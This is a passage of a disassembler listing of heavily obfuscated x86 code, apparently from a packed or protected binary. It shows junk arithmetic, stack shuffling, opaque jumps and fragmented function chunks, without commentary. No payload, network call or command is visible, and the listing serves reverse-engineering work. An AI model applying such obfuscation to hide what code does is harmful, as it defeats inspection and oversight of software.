		mov	[esp+4+var_4], edx
		push	ecx
		mov	ecx, 125D4274h
		add	ecx, 5CBED1BBh
		mov	edx, ecx
		pop	ecx
		and	edx, 80F2CDBh
		push	520h
		mov	[esp+8+var_8], esi
		mov	esi, 602F355Ah
		or	edx, esi
		pop	esi
		jmp	loc_59A9DC
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------


loc_5A8D65:				; CODE XREF: sdfs____:005A3681j
		xchg	edi, ecx
		jmp	loc_5A3B4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4DFC


loc_5A8D6C:				; CODE XREF: sub_5A4DFC+966Bj
		push	53BCh
		jmp	loc_5AF8E7
; END OF FUNCTION CHUNK	FOR sub_5A4DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2789


loc_5A8D76:				; CODE XREF: sub_5A2789+AA4Bj
		add	edi, 533D446Dh
		add	eax, edi
		mov	edi, [esp+0]
		add	esp, 4
		sub	ebx, 6A5692Ah
		add	ebx, eax
		push	eax
		mov	eax, 3C4E079Ah
		jmp	sub_59E94B
; END OF FUNCTION CHUNK	FOR sub_5A2789
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5A8D9A:				; CODE XREF: sub_59961A+4876j
					; sub_5A5EFF-676Aj
		push	ecx
		jmp	loc_59AEEE
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF46F


loc_5A8DA0:				; CODE XREF: sub_5AF46F-535Fj
		add	esi, 7410EFCh
		sub	esi, ebp
		jmp	sub_59F566
; END OF FUNCTION CHUNK	FOR sub_5AF46F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A8DAD:				; CODE XREF: sub_5AA2D1+2649j
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 0B6F7057h
		sub	ebx, 6E422E6Bh
		jmp	loc_5A88C1
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_5A8DC6:				; CODE XREF: sub_5AFA26-3954j
		shl	ebp, 6
		jmp	loc_5A9AF7
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C1E9


loc_5A8DCE:				; CODE XREF: sub_59C1E9+9j
		neg	esi
		inc	esi
		dec	esi
		jmp	loc_59B3AE
; END OF FUNCTION CHUNK	FOR sub_59C1E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DD36


loc_5A8DD7:				; CODE XREF: sub_59DD36+4A4Ej
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], ebp
		mov	ebp, esp
		jmp	loc_5ACE78
; END OF FUNCTION CHUNK	FOR sub_59DD36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A86D0


loc_5A8DE7:				; CODE XREF: sub_5A86D0-AEABj
					; sub_5AF6AC:loc_5AF563j
		xchg	edx, ebx
		not	edx
		jmp	loc_5AA374
; END OF FUNCTION CHUNK	FOR sub_5A86D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5A8DF0:				; CODE XREF: sub_5A9EC5+57E2j
		shl	al, 3
		shr	al, 1
		push	ebx
		mov	bh, 37h
		add	al, bh
		jmp	loc_5A8F52
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A8DFF:				; CODE XREF: sub_5ADD33-6C15j
		pop	ebp
		add	edx, 5FAB4C22h
		add	edx, ebx
		jmp	loc_5A268F
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5A8E0D:				; CODE XREF: sub_59A7E7+8j
					; sub_5AA26A-E70Dj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_599B5E
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABB65


loc_5A8E22:				; CODE XREF: sub_5ABB65+Dj
		pop	ebx
		add	ebx, 4
		push	3668h
		jmp	loc_59F538
; END OF FUNCTION CHUNK	FOR sub_5ABB65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5A8E33:				; CODE XREF: sub_5A9EC5-79EEj
		inc	al
		push	dx
		mov	dl, 8
		jmp	loc_5AAB6E
; END OF FUNCTION CHUNK	FOR sub_5A9EC5

; =============== S U B	R O U T	I N E =======================================



sub_5A8E3E	proc near		; CODE XREF: sub_5AA2D1-4B1Aj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A2915 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A5C87 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AEDD2 SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	edi
		push	4861380Fh
		mov	edi, [esp+0Ch+var_C]
		jmp	loc_5A5C87
sub_5A8E3E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A8E55:				; CODE XREF: sub_5A2E28+3AFDj
		pop	edi
		add	esp, 4
		mov	edx, [esp-0Ch+arg_8]
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		jmp	loc_59B660
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABB65


loc_5A8E6A:				; CODE XREF: sub_5ABB65-64F6j
		push	esi
		mov	esi, 7387FE87h
		jmp	loc_599D48
; END OF FUNCTION CHUNK	FOR sub_5ABB65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A8E75:				; CODE XREF: sub_5AA2D1-A00j
		mov	ecx, ebp
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		mov	ebp, 2A41749h
		sub	ebp, ecx
		pop	ecx
		add	esi, ebp
		pop	ebp
		push	esi
		push	[esp+0Ch+var_8]
		jmp	loc_5AFC34
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A8E92	proc near		; CODE XREF: sub_5A0327+4773j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059D5BF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059DB3E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059EF4C SIZE 0000004A BYTES
; FUNCTION CHUNK AT 005AF940 SIZE 00000013 BYTES

		sub	esp, 4
		mov	[esp+0], edx
		mov	dl, ah
		mov	cl, dl
		pop	edx
		pop	eax
		jmp	loc_59D5BF
sub_5A8E92	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A8EA6:				; CODE XREF: sub_59D6B8+A787j
		sub	ecx, 15A43154h
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		jmp	loc_5AE665
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE29C


loc_5A8EBA:				; CODE XREF: sub_5AE29C-C471j
		add	ebp, 0D8D7323h
		jmp	loc_5A4EB4
; END OF FUNCTION CHUNK	FOR sub_5AE29C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_5A8EC5:				; CODE XREF: sub_599D0E+167Ej
		add	bl, dh
		jmp	loc_59F33E
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A00E2


loc_5A8ECC:				; CODE XREF: sub_5A00E2+2Ej
		xor	ebx, 6D060A54h
		xor	ebx, 394545FEh
		add	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		push	eax
		jmp	loc_5A7DCB
; END OF FUNCTION CHUNK	FOR sub_5A00E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0924


loc_5A8EEA:				; CODE XREF: sub_5A0924+434Cj
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5A8C97
; END OF FUNCTION CHUNK	FOR sub_5A0924
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03E8


loc_5A8EF8:				; CODE XREF: sub_5B03E8-10BB9j
		mov	[esp+4+var_4], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	[esp+8+var_4]
		pop	edi
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_5AB59A
; END OF FUNCTION CHUNK	FOR sub_5B03E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600D


loc_5A8F18:				; CODE XREF: sub_5A600D-782Aj
		add	ah, 3Eh
		jb	loc_5A37C4
		jmp	loc_59D96F
; END OF FUNCTION CHUNK	FOR sub_5A600D
; ---------------------------------------------------------------------------
		jmp	loc_59996C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ch, bl
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5A8F30:				; CODE XREF: sub_59F02F-36F2j
		push	344Ah
		mov	[esp+10h+var_10], eax
		jmp	loc_59D2DE
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A8F3D:				; CODE XREF: sub_59CBE1+3456j
		xor	ebp, esi
		pop	esi
		xor	eax, ebp
		jmp	loc_5AFA50
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A8F47:				; CODE XREF: sub_5992DA+D745j
		add	ebp, 120D0B11h
		jmp	loc_5A80F6
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5A8F52:				; CODE XREF: sub_5A9EC5-10CBj
		pop	ebx
		xor	dh, al
		pop	eax
		jmp	loc_5AE140
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5A8F5B:				; CODE XREF: sub_5AC803-3814j
		add	dword ptr [esp+0], 4
		pop	dword ptr [esp+0]
		add	[esp-0Ch+arg_8], 4
		pop	ecx
		push	4435h
		mov	[esp-0Ch+arg_8], esi
		mov	esi, 30FB63EAh
		push	edx
		mov	edx, 369B0139h
		jmp	loc_5A2DAB
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA52F


loc_5A8F82:				; CODE XREF: sub_5AA52F-35CBj
		push	ecx
		push	ebx
		mov	bh, 86h
		mov	cl, bh
		pop	ebx
		and	cl, 0F6h
		push	eax
		mov	ah, 0DFh
		not	ah
		sub	ah, 69h
		sub	cl, ah
		pop	eax
		mov	dl, cl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	al, dl
		mov	dx, word ptr [esp+4+var_4]
		add	esp, 2
		push	edx
		push	ecx
		mov	cl, 0E5h
		jmp	loc_5A2B5D
; END OF FUNCTION CHUNK	FOR sub_5AA52F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A8FB5:				; CODE XREF: sub_5992DA+16F18j
		pop	esp
		mov	[esp-4+arg_0], ebx
		mov	ebx, 64002F90h
		xor	eax, ebx
		pop	ebx
		add	eax, 936BF080h
		add	ebx, 6B8627D3h
		jmp	loc_59C061
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_5A8FD1:				; CODE XREF: sub_5996E4+16350j
		mov	esi, esp
		jmp	loc_5A56E6
; END OF FUNCTION CHUNK	FOR sub_5996E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_5A8FD8:				; CODE XREF: sub_599D0E+D5B8j
		mov	word ptr [esp-0Ch+arg_8], ax
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C1E9


loc_5A8FE1:				; CODE XREF: sub_59C1E9-E25j
		add	edi, 72A6558Ch
		jmp	loc_5A135A
; END OF FUNCTION CHUNK	FOR sub_59C1E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5A8FEC:				; CODE XREF: sub_5AC803-F88Fj
					; sub_5A9FFB+6j
		mov	[esp-4+arg_0], esp
		jmp	loc_5A8F5B
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB82


loc_5A8FF4:				; CODE XREF: sub_59DB82-1A58j
		push	[esp-4+arg_0]
		pop	ecx
		add	esp, 4
		push	ecx
		mov	ecx, 2
		add	eax, ecx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		push	eax
		jmp	loc_5A7B66
; END OF FUNCTION CHUNK	FOR sub_59DB82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ED98


loc_5A9015:				; CODE XREF: sub_59ED98-621j
		sub	al, 74h
		jmp	loc_59B6CC
; END OF FUNCTION CHUNK	FOR sub_59ED98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5A901C:				; CODE XREF: sub_5A9EBF-D615j
		add	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+0], edx
		push	edi
		mov	edi, 148098Ah
		dec	edi
		not	edi
		sub	edi, 0AD10BAF9h
		jmp	loc_5A825D
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_5A9039:				; CODE XREF: sub_5A503A-3665j
					; sub_5AC803-7749j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5A903E:				; CODE XREF: sub_5AA810:loc_5A1182j
		add	ecx, 1F8F1D36h
		jmp	loc_59B18B
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D18A


loc_5A9049:				; CODE XREF: sub_59D18A+6F33j
		mov	esi, 92C6DF8h
		or	esi, 5B7467DEh
		shr	esi, 4
		jz	loc_5A5A9C
		sub	esi, 4BA5261Fh
		add	esi, 72CF5F7Eh
		mov	ebp, esi
		pop	esi
		add	ebp, esi
		pop	esi
		jmp	loc_5A699F
; END OF FUNCTION CHUNK	FOR sub_59D18A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9074:				; CODE XREF: sub_5AA2D1+4978j
		jmp	loc_5A4FA2
; ---------------------------------------------------------------------------


loc_5A9079:				; CODE XREF: sub_5AA2D1-10AF8j
		jo	loc_5AEF5D
		add	eax, 58727A36h
		jmp	loc_59AC20
; ---------------------------------------------------------------------------


loc_5A9089:				; CODE XREF: sub_59A479+D3D1j
					; sub_5AA2D1-2518j
		shr	ebx, 7
		inc	ebx
		jmp	sub_5AD795
; ---------------------------------------------------------------------------


loc_5A9092:				; CODE XREF: sub_5AA2D1-1740j
		pop	ecx
		jmp	loc_5A6EAA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3CF9


loc_5A9098:				; CODE XREF: sub_5A3CF9-6939j
		add	eax, 5E771A78h
		xchg	eax, ebx
		jmp	loc_5B01A0
; END OF FUNCTION CHUNK	FOR sub_5A3CF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A90A3:				; CODE XREF: sub_5A0FFF+1FDj
					; sub_5A4840+12j
		add	eax, 4
		add	eax, 4
		jmp	loc_5AAF22
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5A90B0:				; CODE XREF: sub_5A9D64-E4C3j
		push	4FCh
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 61655E8Eh
		add	ebx, 0F5C5A30h
		inc	ebx
		js	loc_5A6626
		jmp	loc_59EFEF
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A35F6


loc_5A90CF:				; CODE XREF: sub_5A35F6+8EA7j
		xor	ecx, 19D2755Ah
		jb	loc_5AFB11
		and	ecx, 52A67E6Fh
		jmp	loc_5A6456
; END OF FUNCTION CHUNK	FOR sub_5A35F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A90E6:				; CODE XREF: sub_59EE3E+9783j
					; sub_5AA2D1+2CACj
		pop	esp
		jmp	loc_5A9C2D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599E58


loc_5A90EC:				; CODE XREF: sub_599E58+6j
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		idiv	cl
		movzx	cx, ah
		push	small 7D43h
		mov	[esp+0], cx
		movzx	cx, al
		jmp	loc_5A646B
; END OF FUNCTION CHUNK	FOR sub_599E58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A9109:				; CODE XREF: sub_5A6BBC-6DAAj
		pop	eax
		or	ebx, ecx
		jmp	loc_5ABDF5
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21A4


loc_5A9111:				; CODE XREF: sub_5A21A4+570Aj
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_59D04D
; END OF FUNCTION CHUNK	FOR sub_5A21A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5A9124:				; CODE XREF: sub_59F4D2+B1EFj
		add	ebx, 32F30599h
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		pop	eax
		push	4230h
		jmp	loc_5AF1A3
; END OF FUNCTION CHUNK	FOR sub_59F4D2

; =============== S U B	R O U T	I N E =======================================



sub_5A913B	proc near		; CODE XREF: sub_59A479+1232j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h
arg_12		= dword	ptr  16h

; FUNCTION CHUNK AT 0059928B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00599D43 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059A833 SIZE 00000055 BYTES
; FUNCTION CHUNK AT 0059BD1A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C4FC SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059CE75 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059DEDD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059F0A3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2155 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A230D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A2B07 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2BBC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A4B26 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A5367 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A5EC9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A606A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A76C9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A8C8F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB082 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AD4D8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AF8B6 SIZE 0000001B BYTES

		sub	esp, 4
		mov	[esp+0], ecx
		push	esi
		jmp	loc_5A5367
sub_5A913B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_5A9147:				; CODE XREF: sub_5AF294-44B7j
		neg	ecx
		or	ecx, 42E40E09h
		sub	ecx, 50566ECEh
		jmp	loc_5A0739
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A915A:				; CODE XREF: sub_5A118F:loc_5A6A46j
		add	ah, 2Ah
		mov	bh, ah
		pop	eax
		xor	bh, 67h
		shr	bh, 5
		jmp	loc_5AADB5
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5A916B:				; CODE XREF: sub_59E94B+Dj
		neg	ebp
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		push	edi
		jmp	loc_5A99CB
; END OF FUNCTION CHUNK	FOR sub_59E94B

; =============== S U B	R O U T	I N E =======================================



sub_5A917C	proc near		; CODE XREF: sub_5A4CF3+B03Fj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059C43B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D842 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059EACF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F2F7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A027E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A1D37 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A3321 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A5A6A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AA6DC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AABE2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AC631 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AC8C2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AD044 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005AD80A SIZE 00000040 BYTES
; FUNCTION CHUNK AT 005AE803 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, 4
		sub	edx, 5CC1006Fh
		add	edx, ebp
		add	edx, 5CC1006Fh
		pop	ebp
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		pop	esp
		add	esp, 4
		push	1061h
		mov	[esp-4+arg_0], ebp
		push	edi
		push	5B3E051Fh
		pop	edi
		dec	edi
		jo	loc_5A1D37
		shr	edi, 2
		inc	edi
		sub	edi, 16CF8147h
		jmp	loc_5AC631
sub_5A917C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A91C6:				; CODE XREF: sub_5A2E28+1j
		inc	[esp+4+var_4]
		pop	ebx
		and	ebx, 693A61AFh
		neg	ebx
		add	ebx, 7DFF6309h
		jmp	loc_59914E
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A91DD:				; CODE XREF: sub_5A0FFF+2FA4j
		sub	ebp, 868C349Ah
		add	ebp, 66154521h
		and	ebp, 3C156C69h
		push	ecx
		mov	ecx, 6A992F93h
		push	ebx
		mov	ebx, 24DFFDA3h
		sub	ecx, ebx
		pop	ebx
		sub	ebp, ecx
		pop	ecx
		sub	ebp, 0FFFFFFFFh
		push	edx
		mov	edx, 32414061h
		jmp	loc_5AF511
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8931


loc_5A920F:				; CODE XREF: sub_5A8931-4B1Bj
		pop	edx
		sub	edx, 16AF4873h
		add	edx, esi
		jmp	loc_5A176B
; END OF FUNCTION CHUNK	FOR sub_5A8931
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A921D:				; CODE XREF: sub_59C979+12B44j
		not	cl
		add	cl, 24h
		jmp	loc_59CD2C
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9227:				; CODE XREF: sub_5AA2D1-B029j
		shl	ecx, 4
		sub	ecx, 4F774FAEh
		jmp	loc_59AC33
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A9235:				; CODE XREF: sub_5992DA+14BF0j
		xchg	dh, bl
		dec	dh
		xchg	dh, bl
		inc	bl
		shl	bl, 1
		push	edx
		mov	dl, 74h
		jmp	loc_5A9D54
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5A9247:				; CODE XREF: sub_5AA810-1549j
		jmp	loc_5A7528
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC2C0


loc_5A924C:				; CODE XREF: sub_5AC2C0-10828j
					; sub_5ADD33+79Aj
		push	edi
		push	ebp
		mov	ebp, 27F2166Bh
		add	ebp, 0FC7B67F2h
		mov	edi, ebp
		pop	ebp
		push	esi
		mov	esi, 5CCB630Fh
		shl	esi, 1
		shr	esi, 1
		sub	esi, 23E94C01h
		jmp	loc_59CB9A
; END OF FUNCTION CHUNK	FOR sub_5AC2C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_5A9271:				; CODE XREF: sub_5A3992-4744j
		add	esp, 4
		push	ebp
		push	2393446Fh
		pop	ebp
		push	28EEh
		mov	[esp+8+var_8], edx
		sub	esp, 4
		jmp	loc_59EE9E
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------


loc_5A928B:				; CODE XREF: sdfs____:005AB425j
		add	ebx, 4
		jmp	loc_5A182A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9296:				; CODE XREF: sub_5AA2D1-A8DEj
		jnb	loc_5A4C8D
		or	esi, 7B9E1251h
		jnp	loc_5A5B5C
		add	esi, 10012552h
		mov	bl, 5
		pop	edi
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A92B2:				; CODE XREF: sub_59C979:loc_5AC58Aj
		jmp	sub_599509
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------


loc_5A92B7:				; DATA XREF: sdfs____:00598E34o
		mov	ax, [esp]
		jmp	loc_5A02E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5A92C0:				; CODE XREF: sub_5AA810-D2AAj
		inc	ecx
		sub	ecx, 426B43E2h
		ja	loc_5A9247
		jmp	loc_5ADA50
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
		push	edi
		push	ebp
		mov	ch, bh
		xor	al, 0FEh
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A92D8:				; CODE XREF: sub_59D6B8+667Fj
					; sdfs____:005AD875j
		push	edx
		push	1D2B1AF1h
		pop	edx
		shr	edx, 5
		jns	loc_59CA02
		neg	edx
		jp	loc_5A5576
		sub	edx, 0FF16A725h
		push	ebp


loc_5A92F7:				; CODE XREF: sub_5992DA+8A44j
		mov	[esp+0], eax
		mov	al, 0BEh
		push	eax
		mov	ah, 0B9h
		xor	ah, 0AEh
		add	bl, ah
		pop	eax
		sub	bl, al
		sub	bl, 17h
		jmp	loc_59B5F0
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------


loc_5A930F:				; DATA XREF: sdfs____:00598E30o
		lodsb
		push	5432h
		mov	[esp], edx
		mov	dl, 2Eh
		add	al, dl
		mov	edx, [esp]
		add	esp, 4
		push	dx
		mov	dl, 64h
		sub	al, dl
		pop	dx
		add	al, bl
		add	al, 64h
		push	5BAh
		jmp	loc_5A456B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DD36


loc_5A9338:				; CODE XREF: sub_59DD36+19j
		mov	ebx, 43BD1727h
		add	ebx, 1
		jmp	loc_5A647B
; END OF FUNCTION CHUNK	FOR sub_59DD36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5A9345:				; CODE XREF: sub_59A26C+1CE4j
		pop	edx
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		push	dword ptr [esp+0]
		push	[esp-10h+arg_C]
		pop	eax
		jmp	loc_5A0C2A
; ---------------------------------------------------------------------------


loc_5A9358:				; CODE XREF: sub_59A26C+ABFFj
